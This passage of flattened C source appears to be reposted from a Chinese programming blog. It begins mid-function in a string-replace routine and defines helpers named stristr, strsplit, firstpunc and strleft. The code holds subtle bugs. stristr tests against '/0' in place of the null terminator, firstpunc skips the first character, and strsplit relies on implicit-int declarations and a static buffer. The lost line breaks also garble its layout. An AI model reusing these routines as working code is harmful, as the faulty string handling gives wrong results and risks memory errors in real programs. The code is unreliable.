strstr(orig, rep))) return NULL; if (!with) with = ""; len_with = strlen(with); for (count = 0; tmp = strstr(ins, rep); ++count) { ins = tmp + len_rep; } tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1); if (!result) return NULL; while (count--) { ins = strstr(orig, rep); len_front = ins - orig; tmp = strncpy(tmp, orig, len_front) + len_front; tmp = strcpy(tmp, with) + len_with; orig += len_front + len_rep; } strcpy(tmp, orig); return result; } char *stristr(const char *String, const char *Pattern) { char *pptr, *sptr, *start; uint slen, plen; for (start = (char *)String, pptr = (char *)Pattern, slen = strlen(String), plen = strlen(Pattern); slen >= plen; start++, slen--) { while (toupper(*start) != toupper(*Pattern)) { start++; slen--; if (slen < plen) return(NULL); } sptr = start; pptr = (char *)Pattern; while (toupper(*sptr) == toupper(*pptr)) { sptr++; pptr++; if ('/0' == *pptr) return (start); } } return(NULL); } char * strsplit(char * s, char * tok) { #define OUTLEN (255) register i, j; static char out[OUTLEN + 1]; for(i = 0; s[i] && i < OUTLEN; i++) { if(strchr(tok, s[i])) break; else out[i] = s[i]; } out[i] = 0; if(i && s[i]) { for(j = 0; s[i]; i++, j++) s[j] = s[i]; s[j] = 0; } else if (!s[i]) *s = 0; return out; } char firstpunc(char * s) { while(*s++) if(!isalnum(*s)) return *s; return 0; } int strleft(char * s, int n) { int l; l = strlen(s); if(l < n) return -1; else if (l == n) *s = 0; memmove(s, s + n, l - n + 1); return n; }
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/57336.html